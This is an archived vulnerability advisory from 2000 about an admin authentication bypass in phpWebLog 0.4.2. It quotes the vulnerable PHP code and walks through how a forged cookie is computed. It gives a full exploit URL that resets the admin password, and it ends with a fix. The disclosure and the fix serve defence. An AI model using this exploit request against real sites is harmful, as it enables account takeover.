Bypassing admin authentication in phpWebLog

2000-12-05T00:00:00
ID SECURITYVULNS:DOC:1021
Type securityvulns
Reporter Securityvulns
Modified 2000-12-05T00:00:00

Description

Note: Although this software is still in beta stage, there are many websites using it, so i think it's a relevant issue.

Author: Jason Hines Homepage: http://www.phpweblog.org | http://sourceforge.net/projects/phpweblog/ Version: 0.4.2 ( others? ) Problem: in common.inc.php, $CONF is not properly initialized as an array, thus allowing users to alter the contents in it, wich can leed to bypass administrator authentication. Status: Author contacted 27 Nov 2000. For a quick fix, see below.

Description:

I'll try to show this by parts, hope it's clear enought.

snip of common.inc.php: <quote> /== read in configuration data ==/ $sql = "SELECT * FROM T_Config"; $result = @mysql_query($sql,$db); $nrows = mysql_num_rows($result);

for ($i=0;$i<$nrows;$i++) { $A = mysql_fetch_array($result); $CONF[$A["Name"]] = $A["Value"]; } </quote>

$CONF is not being properly inicialized as an array, so, if we fill $CONF with user-submited data, all the array values will revert to the first character of the last position. The last position is "language", so, if our language is set to be "english" all values of $CONF will revert to 'e'.

snip of auth.inc.php: <quote> } elseif (!F_isAdmin()) { include("../include/header.inc.php"); if (!empty($warn)) { F_logAccess("Failed login"); F_notice("Invalid password. Try again."); } (...) (admin authenticated) </quote>

snip of common.inc.php: <quote> function F_isAdmin() { global $HTTP_COOKIE_VARS,$CONF; $name = md5($CONF["SiteKey"] . "_admin"); #echo $HTTP_COOKIE_VARS[$name]; #echo crypt("admin",$CONF["SiteKey"]); return ($HTTP_COOKIE_VARS[$name]==md5(rot13($CONF["SiteKey"])) ? 1 : 0); } </quote>

As we can se here, authentication is based on matching data with $CONF values, so we will do: calculate md5() of "<first char of language>_admin". Calculate md5(rot13("<first char of language>"))

snip of submit.php: <quote> case "config-extend": $tmp = urlencode("Changes Saved."); if (!empty($Passwd) || !empty($Passwd2)) { if ($HTTP_POST_VARS["Passwd"]==$HTTP_POST_VARS["Passwd2"]) { $sql = "UPDATE T_Config set "; $sql .= "Value = '" . md5($HTTP_POST_VARS["Passwd"]) . "' "; $sql .= "WHERE Name = 'Passwd'"; $RET = @mysql_query($sql,$db); (...) (admin password changed) </quote>

With the calculations obtained above, we'll submit for example the url ( based on english configuration ):

http://phpweblog.vuln.site/submit.php?CONF=anything&HTTP_COOKIE_VARS[7f15a2e 7f0a543eacb3efbd098ced7f2]=4b43b0aee35624cd95b910189b3dc231&what=config-exte nd&HTTP_POST_VARS[Passwd]=mypass&HTTP_POST_VARS[Passwd2]=mypass&Passwd=mypas s&Passwd2=mypass

There will be a bounch of php errors. Just ignore them, go to the admin area and put in your new password.

Assigning values to HTTP_*_VARS like in the above example, will only work in PHP versions below 4.0 rc1 Still, any user can submit this same values using other methods, achiving the same results.

Of course, all of this is suposing that the administrator(s) changed the SiteKey value, whitch is by default "phpWebLog". Obvious this value should be changed. If not, just don't issue the $CONF value, and calculate the HTTP_COOKIE_VARS values based on "phpWebLog" instead of 'e'.

Quick fix: in common.inc.php, before: <quote> for ($i=0;$i<$nrows;$i++) { $A = mysql_fetch_array($result); $CONF[$A["Name"]] = $A["Value"]; } </quote> put: $CONF = array(); Always remember to change your default "SiteKey".

Best regards,

Joao Gouveia aka Tharbad.